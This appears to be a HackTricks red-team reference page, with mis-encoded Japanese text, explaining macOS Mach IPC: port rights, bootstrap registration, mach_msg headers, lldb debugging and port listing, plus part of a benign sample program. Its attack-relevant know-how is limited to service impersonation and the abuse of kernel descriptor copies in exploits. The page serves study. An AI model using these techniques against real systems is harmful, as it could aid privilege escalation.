macOS IPC - Inter Process Communication
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Mach messaging via Ports
åºæ¬æ å ±
Machã¯ãªãœãŒã¹ãå ±æããããã®æå°åäœãšããŠã¿ã¹ã¯ã䜿çšããåã¿ã¹ã¯ã¯è€æ°ã®ã¹ã¬ãããå«ãããšãã§ããŸãããããã®ã¿ã¹ã¯ãšã¹ã¬ããã¯POSIXããã»ã¹ãšã¹ã¬ããã«1:1ã§ãããã³ã°ãããŠããŸãã
ã¿ã¹ã¯éã®éä¿¡ã¯Mach Inter-Process Communication (IPC)ãä»ããŠè¡ãããäžæ¹åã®éä¿¡ãã£ãã«ãå©çšããŸããã¡ãã»ãŒãžã¯ããŒãéã§è»¢éããããããã¯ã«ãŒãã«ã«ãã£ãŠç®¡çãããã¡ãã»ãŒãžãã¥ãŒã®ãããªãã®ã§ãã
ããŒãã¯Mach IPCã®åºæ¬çãªèŠçŽ ã§ããã¡ãã»ãŒãžãéä¿¡ããåä¿¡ããããã«äœ¿çšã§ããŸãã
åããã»ã¹ã«ã¯IPCããŒãã«ããããããã«ã¯ããã»ã¹ã®machããŒããèŠã€ãããŸããmachããŒãã®ååã¯å®éã«ã¯çªå·ïŒã«ãŒãã«ãªããžã§ã¯ããžã®ãã€ã³ã¿ïŒã§ãã
ããã»ã¹ã¯ãç°ãªãã¿ã¹ã¯ã«æš©å©ãæã€ããŒãåãéä¿¡ããããšãã§ããã«ãŒãã«ã¯ãã®ãšã³ããªãä»ã®ã¿ã¹ã¯ã®IPCããŒãã«ã«è¡šç€ºãããŸãã
ããŒãæš©é
ããŒãæš©éã¯ãã¿ã¹ã¯ãå®è¡ã§ããæäœãå®çŸ©ãããã®éä¿¡ã®éµãšãªããŸããå¯èœãªããŒãæš©éã¯ä»¥äžã®éãã§ãïŒå®çŸ©ã¯ãã¡ãïŒïŒ
- åä¿¡æš©éã¯ãããŒãã«éä¿¡ãããã¡ãã»ãŒãžãåä¿¡ããããšãèš±å¯ããŸããMachããŒãã¯MPSCïŒè€æ°ã®ãããã¥ãŒãµãŒãåäžã®ã³ã³ã·ã¥ãŒããŒïŒãã¥ãŒã§ãããã·ã¹ãã å šäœã§åããŒãã«å¯ŸããŠ1ã€ã®åä¿¡æš©éããååšã§ããŸããïŒãã€ããšã¯ç°ãªããè€æ°ã®ããã»ã¹ã1ã€ã®ãã€ãã®èªã¿åã端ã«ãã¡ã€ã«ãã£ã¹ã¯ãªãã¿ãä¿æã§ããŸãïŒã
- åä¿¡æš©éãæã€ã¿ã¹ã¯ã¯ã¡ãã»ãŒãžãåä¿¡ããéä¿¡æš©éãäœæããããšãã§ããã¡ãã»ãŒãžãéä¿¡ã§ããŸããå ã ã¯èªåã®ã¿ã¹ã¯ã®ã¿ãããŒãã«å¯ŸããŠåä¿¡æš©éãæã£ãŠããŸãã
- åä¿¡æš©éã®ææè ãæ»äº¡ãããããããæ®ºããšãéä¿¡æš©éã¯ç¡å¹ã«ãªããŸãïŒãããããŒã ïŒã
- éä¿¡æš©éã¯ãããŒãã«ã¡ãã»ãŒãžãéä¿¡ããããšãèš±å¯ããŸãã
- éä¿¡æš©éã¯ã¯ããŒã³å¯èœã§ãéä¿¡æš©éãæã€ã¿ã¹ã¯ã¯ãã®æš©éãã¯ããŒã³ãã第äžã®ã¿ã¹ã¯ã«ä»äžã§ããŸãã
- ããŒãæš©éã¯Macã¡ãã»ãŒãžãä»ããŠæž¡ãããšãã§ããŸãã
- äžåºŠã ãã®éä¿¡æš©éã¯ãããŒãã«1ã€ã®ã¡ãã»ãŒãžãéä¿¡ãããã®åŸæ¶å€±ããŸãã
- ãã®æš©éã¯ã¯ããŒã³ã§ããŸããããç§»åããããšã¯ã§ããŸãã
- ããŒãã»ããæš©éã¯ãåäžã®ããŒãã§ã¯ãªãã_ããŒãã»ãã_ã瀺ããŸããããŒãã»ããããã¡ãã»ãŒãžãããã¥ãŒãããšããã®äžã®1ã€ã®ããŒãããã¡ãã»ãŒãžãããã¥ãŒãããŸããããŒãã»ããã¯ãUnixã®
select/poll/epoll/kqueueã®ããã«ãè€æ°ã®ããŒããåæã«ãªãã¹ã³ããããã«äœ¿çšã§ããŸãã - ãããããŒã ã¯å®éã®ããŒãæš©éã§ã¯ãªããåãªããã¬ãŒã¹ãã«ããŒã§ããããŒããç Žæ£ããããšããã®ããŒãã«å¯Ÿãããã¹ãŠã®æ¢åã®ããŒãæš©éã¯ãããããŒã ã«å€ãããŸãã
ã¿ã¹ã¯ã¯ä»ã®ã¿ã¹ã¯ã«SENDæš©éã転éã§ããã¡ãã»ãŒãžãè¿éããããšãå¯èœã«ãªããŸããSENDæš©éãã¯ããŒã³å¯èœã§ãã¿ã¹ã¯ã¯ãã®æš©éãè€è£œããŠç¬¬äžã®ã¿ã¹ã¯ã«äžããããšãã§ããŸããããã«ãããããŒãã¹ãã©ãããµãŒããŒãšåŒã°ãã仲ä»ããã»ã¹ãçµã¿åãããããšã§ãã¿ã¹ã¯éã®å¹æçãªéä¿¡ãå¯èœã«ãªããŸãã
ãã¡ã€ã«ããŒã
ãã¡ã€ã«ããŒãã¯ãMacããŒãå
ã«ãã¡ã€ã«ãã£ã¹ã¯ãªãã¿ãã«ãã»ã«åããããšãå¯èœã«ããŸãïŒMachããŒãæš©éã䜿çšïŒãfileport_makeportã䜿çšããŠæå®ãããFDããfileportãäœæããfileport_makefdã䜿çšããŠãã¡ã€ã«ããŒãããFDãäœæããããšãã§ããŸãã
éä¿¡ã®ç¢ºç«
åè¿°ã®ããã«ãMachã¡ãã»ãŒãžã䜿çšããŠæš©éãéä¿¡ããããšã¯å¯èœã§ãããMachã¡ãã»ãŒãžãéä¿¡ããæš©éãæã£ãŠããªããšæš©éãéä¿¡ããããšã¯ã§ããŸãããã§ã¯ãæåã®éä¿¡ã¯ã©ã®ããã«ç¢ºç«ãããã®ã§ããããïŒ
ããã«ã¯ãããŒãã¹ãã©ãããµãŒããŒïŒmacã®launchdïŒãé¢äžããŸãã誰ã§ãããŒãã¹ãã©ãããµãŒããŒã«SENDæš©éãååŸã§ãããããä»ã®ããã»ã¹ã«ã¡ãã»ãŒãžãéä¿¡ããæš©éãèŠæ±ããããšãå¯èœã§ãïŒ
- ã¿ã¹ã¯Aãæ°ããããŒããäœæãããã®ããŒãã«å¯Ÿããåä¿¡æš©éãååŸããŸãã
- ã¿ã¹ã¯Aã¯ãåä¿¡æš©éã®ä¿æè ãšããŠãããŒãã®ããã®éä¿¡æš©éãçæããŸãã
- ã¿ã¹ã¯Aã¯ããŒãã¹ãã©ãããµãŒããŒãšã®æ¥ç¶ã確ç«ããæåã«çæããããŒãã®ããã®éä¿¡æš©éãéä¿¡ããŸãã
- 誰ã§ãããŒãã¹ãã©ãããµãŒããŒã«SENDæš©éãååŸã§ããããšãå¿ããªãã§ãã ããã
- ã¿ã¹ã¯Aã¯ãããŒãã¹ãã©ãããµãŒããŒã«
bootstrap_registerã¡ãã»ãŒãžãéä¿¡ããŠãæå®ãããããŒãã«ååãé¢é£ä»ããŸãïŒäŸïŒcom.apple.taskaïŒã - ã¿ã¹ã¯Bã¯ãããŒãã¹ãã©ãããµãŒããŒãšå¯Ÿè©±ããŠãµãŒãã¹åã®ããŒãã¹ãã©ããã«ãã¯ã¢ãããå®è¡ããŸãïŒ
bootstrap_lookupïŒãããŒãã¹ãã©ãããµãŒããŒãå¿çã§ããããã«ãã¿ã¹ã¯Bã¯ã«ãã¯ã¢ããã¡ãã»ãŒãžå ã§ä»¥åã«äœæããããŒããžã®SENDæš©éãéä¿¡ããŸããã«ãã¯ã¢ãããæåãããšããµãŒããŒã¯ã¿ã¹ã¯Aããåãåã£ãSENDæš©éãè€è£œããã¿ã¹ã¯Bã«éä¿¡ããŸãã
- 誰ã§ãããŒãã¹ãã©ãããµãŒããŒã«SENDæš©éãååŸã§ããããšãå¿ããªãã§ãã ããã
- ãã®SENDæš©éãæã£ãŠãã¿ã¹ã¯Bã¯ã¿ã¹ã¯Aã«ã¡ãã»ãŒãžãéä¿¡ããããšãã§ããŸãã
- åæ¹åéä¿¡ã®ããã«ãéåžžã¿ã¹ã¯Bã¯åä¿¡æš©éãšéä¿¡æš©éãæã€æ°ããããŒããçæããã¿ã¹ã¯Aã«SENDæš©éãäžããŠãã¿ã¹ã¯Bã«ã¡ãã»ãŒãžãéä¿¡ã§ããããã«ããŸãïŒåæ¹åéä¿¡ïŒã
ããŒãã¹ãã©ãããµãŒããŒã¯ãã¿ã¹ã¯ã䞻匵ãããµãŒãã¹åãèªèšŒããããšã¯ã§ããŸãããããã¯ãã¿ã¹ã¯ãä»»æã®ã·ã¹ãã ã¿ã¹ã¯ãåœè£ ããå¯èœæ§ãããããšãæå³ãã誀ã£ãŠèªèšŒãµãŒãã¹åã䞻匵ãããã¹ãŠã®ãªã¯ãšã¹ããæ¿èªããããšãã§ããŸãã
ãã®åŸãAppleã¯ã·ã¹ãã æäŸãµãŒãã¹ã®ååãå®å
šãªæ§æãã¡ã€ã«ã«ä¿åããSIPä¿è·ããããã£ã¬ã¯ããªã«é
眮ããŸãïŒ/System/Library/LaunchDaemonsããã³/System/Library/LaunchAgentsãåãµãŒãã¹åã«å¯ŸããŠãé¢é£ãããã€ããªãä¿åãããŸããããŒãã¹ãã©ãããµãŒããŒã¯ããããã®ãµãŒãã¹åã®åä¿¡æš©éãäœæãä¿æããŸãã
ãããã®äºåå®çŸ©ããããµãŒãã¹ã«å¯ŸããŠãã«ãã¯ã¢ããããã»ã¹ã¯ãããã«ç°ãªããŸãããµãŒãã¹åãã«ãã¯ã¢ããããããšãlaunchdã¯ãµãŒãã¹ãåçã«éå§ããŸããæ°ããã¯ãŒã¯ãããŒã¯æ¬¡ã®ããã«ãªããŸãïŒ
- ã¿ã¹ã¯BããµãŒãã¹åã®ããŒãã¹ãã©ããã«ãã¯ã¢ãããéå§ããŸãã
- launchdã¯ã¿ã¹ã¯ãå®è¡äžãã©ããã確èªããå®è¡ãããŠããªãå Žåã¯éå§ããŸãã
- ã¿ã¹ã¯AïŒãµãŒãã¹ïŒã¯ããŒãã¹ãã©ãããã§ãã¯ã€ã³ïŒ
bootstrap_check_in()ïŒãå®è¡ããŸããããã§ãããŒãã¹ãã©ãããµãŒããŒã¯SENDæš©éãäœæãããããä¿æããã¿ã¹ã¯Aã«åä¿¡æš©éã転éããŸãã - launchdã¯SENDæš©éãè€è£œããã¿ã¹ã¯Bã«éä¿¡ããŸãã
- ã¿ã¹ã¯Bã¯åä¿¡æš©éãšéä¿¡æš©éãæã€æ°ããããŒããçæããã¿ã¹ã¯AïŒsvcïŒã«SENDæš©éãäžããŠãã¿ã¹ã¯Bã«ã¡ãã»ãŒãžãéä¿¡ã§ããããã«ããŸãïŒåæ¹åéä¿¡ïŒã
ãã ãããã®ããã»ã¹ã¯äºåå®çŸ©ãããã·ã¹ãã ã¿ã¹ã¯ã«ã®ã¿é©çšãããŸããéã·ã¹ãã ã¿ã¹ã¯ã¯å ã®èª¬æã®ããã«åäœãç¶ããåœè£ ãèš±å¯ããå¯èœæ§ããããŸãã
Caution
ãããã£ãŠãlaunchdã¯æ±ºããŠã¯ã©ãã·ã¥ããŠã¯ãããŸãããããã§ãªããšãã·ã¹ãã å šäœãã¯ã©ãã·ã¥ããŸãã
Machã¡ãã»ãŒãž
mach_msg颿°ã¯ãåºæ¬çã«ã·ã¹ãã ã³ãŒã«ã§ãããMachã¡ãã»ãŒãžã®éä¿¡ãšåä¿¡ã«äœ¿çšãããŸãããã®é¢æ°ã¯ãéä¿¡ãããã¡ãã»ãŒãžãæåã®åŒæ°ãšããŠå¿
èŠãšããŸãããã®ã¡ãã»ãŒãžã¯ãmach_msg_header_tæ§é äœã§å§ãŸãããã®åŸã«å®éã®ã¡ãã»ãŒãžå
容ãç¶ããŸãããã®æ§é äœã¯æ¬¡ã®ããã«å®çŸ©ãããŠããŸãïŒ
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
ããã»ã¹ã åä¿¡æš© ãæã£ãŠããå ŽåãMachããŒãã§ã¡ãã»ãŒãžãåä¿¡ã§ããŸããéã«ãéä¿¡è ã«ã¯ éä¿¡ ãŸã㯠äžåºŠã ãéä¿¡ããæš©å© ãä»äžãããŸããäžåºŠã ãéä¿¡ããæš©å©ã¯ãåäžã®ã¡ãã»ãŒãžãéä¿¡ããããã®ãã®ã§ããã®åŸã¯ç¡å¹ã«ãªããŸãã
åæãã£ãŒã«ã msgh_bits ã¯ããããããã§ãïŒ
- æåã®ãããïŒæãéèŠãªãããïŒã¯ãã¡ãã»ãŒãžãè€éã§ããããšã瀺ãããã«äœ¿çšãããŸãïŒè©³çްã¯ä»¥äžã«èšèŒïŒ
- 3çªç®ãš4çªç®ã¯ã«ãŒãã«ã«ãã£ãŠäœ¿çšãããŸã
- 2ãã€ãç®ã® 5ã€ã®æäžäœããã 㯠ããŠãã£ãŒ ã«äœ¿çšã§ããŸãïŒããŒ/å€ã®çµã¿åãããéä¿¡ããããã®å¥ã®ã¿ã€ãã®ããŒãã§ãã
- 3ãã€ãç®ã® 5ã€ã®æäžäœããã 㯠ããŒã«ã«ããŒã ã«äœ¿çšã§ããŸã
- 4ãã€ãç®ã® 5ã€ã®æäžäœããã 㯠ãªã¢ãŒãããŒã ã«äœ¿çšã§ããŸã
ããŠãã£ãŒãããŒã«ã«ããŒãããªã¢ãŒãããŒãã§æå®ã§ããã¿ã€ãã¯æ¬¡ã®éãã§ãïŒmach/message.h ããïŒïŒ
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
äŸãã°ãMACH_MSG_TYPE_MAKE_SEND_ONCEã¯ããã®ããŒãã«å¯ŸããŠéä¿¡äžåã®æš©å©ãå°åºã転éããããšã瀺ãããã«äœ¿çšã§ããŸãããŸããåä¿¡è
ãå¿çã§ããªãããã«MACH_PORT_NULLãæå®ããããšãã§ããŸãã
ç°¡åãªåæ¹åéä¿¡ãå®çŸããããã«ãããã»ã¹ã¯ã¡ãã»ãŒãžããããŒå
ã«ãªãã©ã€ããŒãïŒmsgh_local_portïŒãšåŒã°ããmachããŒããæå®ããããšãã§ããã¡ãã»ãŒãžã®åä¿¡è
ã¯ãã®ã¡ãã»ãŒãžã«å¿çãéä¿¡ã§ããŸãã
Tip
ãã®çš®ã®åæ¹åéä¿¡ã¯ãå¿çãæåŸ ããXPCã¡ãã»ãŒãžã§äœ¿çšãããããšã«æ³šæããŠãã ããïŒ
xpc_connection_send_message_with_replyããã³xpc_connection_send_message_with_reply_syncïŒãããããéåžžã¯ç°ãªãããŒããäœæãããåè¿°ã®ããã«åæ¹åéä¿¡ãäœæããŸãã
ã¡ãã»ãŒãžããããŒã®ä»ã®ãã£ãŒã«ãã¯æ¬¡ã®ãšããã§ãïŒ
msgh_size: ãã±ããå šäœã®ãµã€ãºãmsgh_remote_port: ãã®ã¡ãã»ãŒãžãéä¿¡ãããããŒããmsgh_voucher_port: machããŠãã£ãŒãmsgh_id: ãã®ã¡ãã»ãŒãžã®IDã§ãåä¿¡è ã«ãã£ãŠè§£éãããŸãã
Caution
machã¡ãã»ãŒãžã¯
mach portãä»ããŠéä¿¡ãããããšã«æ³šæããŠãã ãããããã¯åäžåä¿¡è ãè€æ°éä¿¡è ã®éä¿¡ãã£ãã«ã§ãmachã«ãŒãã«ã«çµã¿èŸŒãŸããŠããŸããè€æ°ã®ããã»ã¹ãmachããŒãã«ã¡ãã»ãŒãžãéä¿¡ã§ããŸããããã€ã§ãåäžã®ããã»ã¹ã®ã¿ããããèªã¿åãããšãã§ããŸãã
ã¡ãã»ãŒãžã¯ãmach_msg_header_tããããŒã®åŸã«æ¬äœãšãã¬ãŒã©ãŒïŒããå ŽåïŒã§æ§æãããå¿çã®èš±å¯ãäžããããšãã§ããŸãããã®å Žåãã«ãŒãã«ã¯ã¡ãã»ãŒãžãäžã€ã®ã¿ã¹ã¯ããå¥ã®ã¿ã¹ã¯ã«æž¡ãã ãã§æžã¿ãŸãã
ãã¬ãŒã©ãŒã¯ãã«ãŒãã«ã«ãã£ãŠã¡ãã»ãŒãžã«è¿œå ãããæ
å ±ïŒãŠãŒã¶ãŒã«ãã£ãŠèšå®ã§ããªãïŒã§ããã©ã°MACH_RCV_TRAILER_<trailer_opt>ã䜿çšããŠã¡ãã»ãŒãžåä¿¡æã«èŠæ±ã§ããŸãïŒèŠæ±ã§ããæ
å ±ã¯ç°ãªããŸãïŒã
è€éãªã¡ãã»ãŒãž
ãããã远å ã®ããŒãæš©ãæž¡ããããã¡ã¢ãªãå
±æããããããããªãããè€éãªã¡ãã»ãŒãžããããŸãããã®å Žåãã«ãŒãã«ã¯ãããã®ãªããžã§ã¯ããåä¿¡è
ã«éä¿¡ããå¿
èŠããããŸãããã®å ŽåãããããŒã®æäžäœãããmsgh_bitsãèšå®ãããŸãã
æž¡ãå¯èœãªãã£ã¹ã¯ãªãã¿ã¯ãmach/message.hã§å®çŸ©ãããŠããŸãïŒ
#define MACH_MSG_PORT_DESCRIPTOR 0
#define MACH_MSG_OOL_DESCRIPTOR 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR 2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR 3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4
#pragma pack(push, 4)
typedef struct{
natural_t pad1;
mach_msg_size_t pad2;
unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
In 32ãããã§ã¯ããã¹ãŠã®ãã£ã¹ã¯ãªãã¿ã¯12Bã§ããã£ã¹ã¯ãªãã¿ã¿ã€ãã¯11çªç®ã«ãããŸãã64ãããã§ã¯ããµã€ãºãç°ãªããŸãã
Caution
ã«ãŒãã«ã¯ãããã¿ã¹ã¯ããå¥ã®ã¿ã¹ã¯ã«ãã£ã¹ã¯ãªãã¿ãã³ããŒããŸãããæåã«ã«ãŒãã«ã¡ã¢ãªã«ã³ããŒãäœæããŸãããã®æè¡ã¯ã颚氎ããšããŠç¥ãããããã€ãã®ãšã¯ã¹ããã€ãã§æªçšãããã«ãŒãã«ããã®ã¡ã¢ãªã«ããŒã¿ãã³ããŒããããšãå¯èœã«ããããã»ã¹ãèªåèªèº«ã«ãã£ã¹ã¯ãªãã¿ãéä¿¡ããŸãããã®åŸãããã»ã¹ã¯ã¡ãã»ãŒãžãåä¿¡ã§ããŸãïŒã«ãŒãã«ãããããè§£æŸããŸãïŒã
ãŸããè匱ãªããã»ã¹ã«ããŒãæš©ãéä¿¡ããããšãå¯èœã§ãããŒãæš©ã¯ããã»ã¹ã«çŸããŸãïŒããšããã®ããã»ã¹ãããããæ±ã£ãŠããªããŠãïŒã
Mac Ports APIs
ããŒãã¯ã¿ã¹ã¯ããŒã ã¹ããŒã¹ã«é¢é£ä»ããããŠãããããããŒããäœæãŸãã¯æ€çŽ¢ããã«ã¯ãã¿ã¹ã¯ããŒã ã¹ããŒã¹ãã¯ãšãªãããŸãïŒmach/mach_port.hã®è©³çްïŒïŒ
mach_port_allocate|mach_port_construct: ããŒããäœæããŸããmach_port_allocateã¯ããŒãã»ãããäœæã§ããŸãïŒããŒãã®ã°ã«ãŒãã«å¯Ÿããåä¿¡æš©ãã¡ãã»ãŒãžãåä¿¡ããããšãã©ã®ããŒãããåä¿¡ããããã瀺ãããŸããmach_port_allocate_name: ããŒãã®ååã倿ŽããŸãïŒããã©ã«ãã¯32ãããæŽæ°ïŒmach_port_names: ã¿ãŒã²ããããããŒãåãååŸããŸãmach_port_type: ååã«å¯Ÿããã¿ã¹ã¯ã®æš©å©ãååŸããŸãmach_port_rename: ããŒãã®ååã倿ŽããŸãïŒFDã®dup2ã®ããã«ïŒmach_port_allocate: æ°ããRECEIVEãPORT_SETãŸãã¯DEAD_NAMEãå²ãåœãŠãŸãmach_port_insert_right: RECEIVEæš©ãæã€ããŒãã«æ°ããæš©å©ãäœæããŸãmach_port_...mach_msg|mach_msg_overwrite: machã¡ãã»ãŒãžãéåä¿¡ããããã«äœ¿çšããã颿°ããªãŒããŒã©ã€ãããŒãžã§ã³ã§ã¯ãã¡ãã»ãŒãžåä¿¡ã®ããã«ç°ãªããããã¡ãæå®ã§ããŸãïŒä»ã®ããŒãžã§ã³ã¯ãããåå©çšããŸãïŒã
Debug mach_msg
**mach_msgããã³mach_msg_overwrite**颿°ã¯ã¡ãã»ãŒãžãéåä¿¡ããããã«äœ¿çšãããããããããã«ãã¬ãŒã¯ãã€ã³ããèšå®ãããšãéä¿¡ãããã¡ãã»ãŒãžãšåä¿¡ãããã¡ãã»ãŒãžãæ€æ»ã§ããŸãã
ããšãã°ããããã°å¯èœãªã¢ããªã±ãŒã·ã§ã³ããããã°ãå§ãããšãlibSystem.BãããŒãããããã®é¢æ°ã䜿çšããŸãã
(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 <+0>: pacibsp
0x181d3ac24 <+4>: sub sp, sp, #0x20
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
**mach_msg**ã®åŒæ°ãååŸããã«ã¯ãã¬ãžã¹ã¿ã確èªããŸããããããåŒæ°ã§ãïŒmach/message.hããïŒïŒ
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
ã¬ãžã¹ããªããå€ãååŸããŸã:
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
ã¡ãã»ãŒãžããããŒãæ€æ»ããæåã®åŒæ°ã確èªããŸã:
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322
; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)
ãã®ã¿ã€ãã® mach_msg_bits_t ã¯ãå¿çãèš±å¯ããããã«éåžžã«äžè¬çã§ãã
ããŒãã®åæ
lsmp -p <pid>
sudo lsmp -p 1
Process (1) : launchd
name ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type
--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------
0x00000203 0x181c4e1d send -------- --- 2 0x00000000 TASK-CONTROL SELF (1) launchd
0x00000303 0x183f1f8d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x00000403 0x183eb9dd recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000051b 0x1840cf3d send -------- --- 2 -> 6 0 0x0000000000000000 0x00011817 (380) WindowServer
0x00000603 0x183f698d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000070b 0x175915fd recv,send ---GS--- 0 --- 1 2 Y 5 0 0x0000000000000000
0x00000803 0x1758794d send -------- --- 1 0x00000000 CLOCK
0x0000091b 0x192c71fd send -------- D-- 1 -> 1 0 0x0000000000000000 0x00028da7 (418) runningboardd
0x00000a6b 0x1d4a18cd send -------- --- 2 -> 16 0 0x0000000000000000 0x00006a03 (92247) Dock
0x00000b03 0x175a5d4d send -------- --- 2 -> 16 0 0x0000000000000000 0x00001803 (310) logd
[...]
0x000016a7 0x192c743d recv,send --TGSI-- 0 --- 1 1 Y 16 0 0x0000000000000000
+ send -------- --- 1 <- 0x00002d03 (81948) seserviced
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
ååã¯ããŒãã«äžããããããã©ã«ãã®ååã§ãïŒæåã®3ãã€ãã§ã©ã®ããã«å¢å ããŠãããã確èªããŠãã ããïŒãipc-objectã¯ããŒãã®é£èªåãããäžæã®èå¥åã§ãã
ãŸããsendæš©éã®ã¿ãæã€ããŒãããããææããŠããè
ãç¹å®ããŠããããšã«ã泚æããŠãã ããïŒããŒãå + pidïŒã
åãããŒãã«æ¥ç¶ãããŠããä»ã®ã¿ã¹ã¯ã瀺ãããã«**+**ã䜿çšãããŠããããšã«ã泚æããŠãã ããã
ãŸããprocesxpã䜿çšããŠãç»é²ããããµãŒãã¹åïŒcom.apple.system-task-portã®å¿
èŠæ§ããSIPãç¡å¹ã«ãªã£ãŠããå ŽåïŒã確èªããããšãã§ããŸãïŒ
procesp 1 ports
ãã®ããŒã«ã¯ãhttp://newosxbook.com/tools/binpack64-256.tar.gz ããããŠã³ããŒãããŠiOSã«ã€ã³ã¹ããŒã«ã§ããŸãã
ã³ãŒãäŸ
éä¿¡è
ãããŒããå²ãåœãŠãåå org.darlinghq.example ã®ããã®éä¿¡æš©ãäœæãããããããŒãã¹ãã©ãããµãŒããŒã«éä¿¡ããæ§åã«æ³šæããŠãã ãããéä¿¡è
ã¯ãã®ååã®éä¿¡æš©ãèŠæ±ããããã䜿çšããŠã¡ãã»ãŒãžãéä¿¡ããŸããã
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
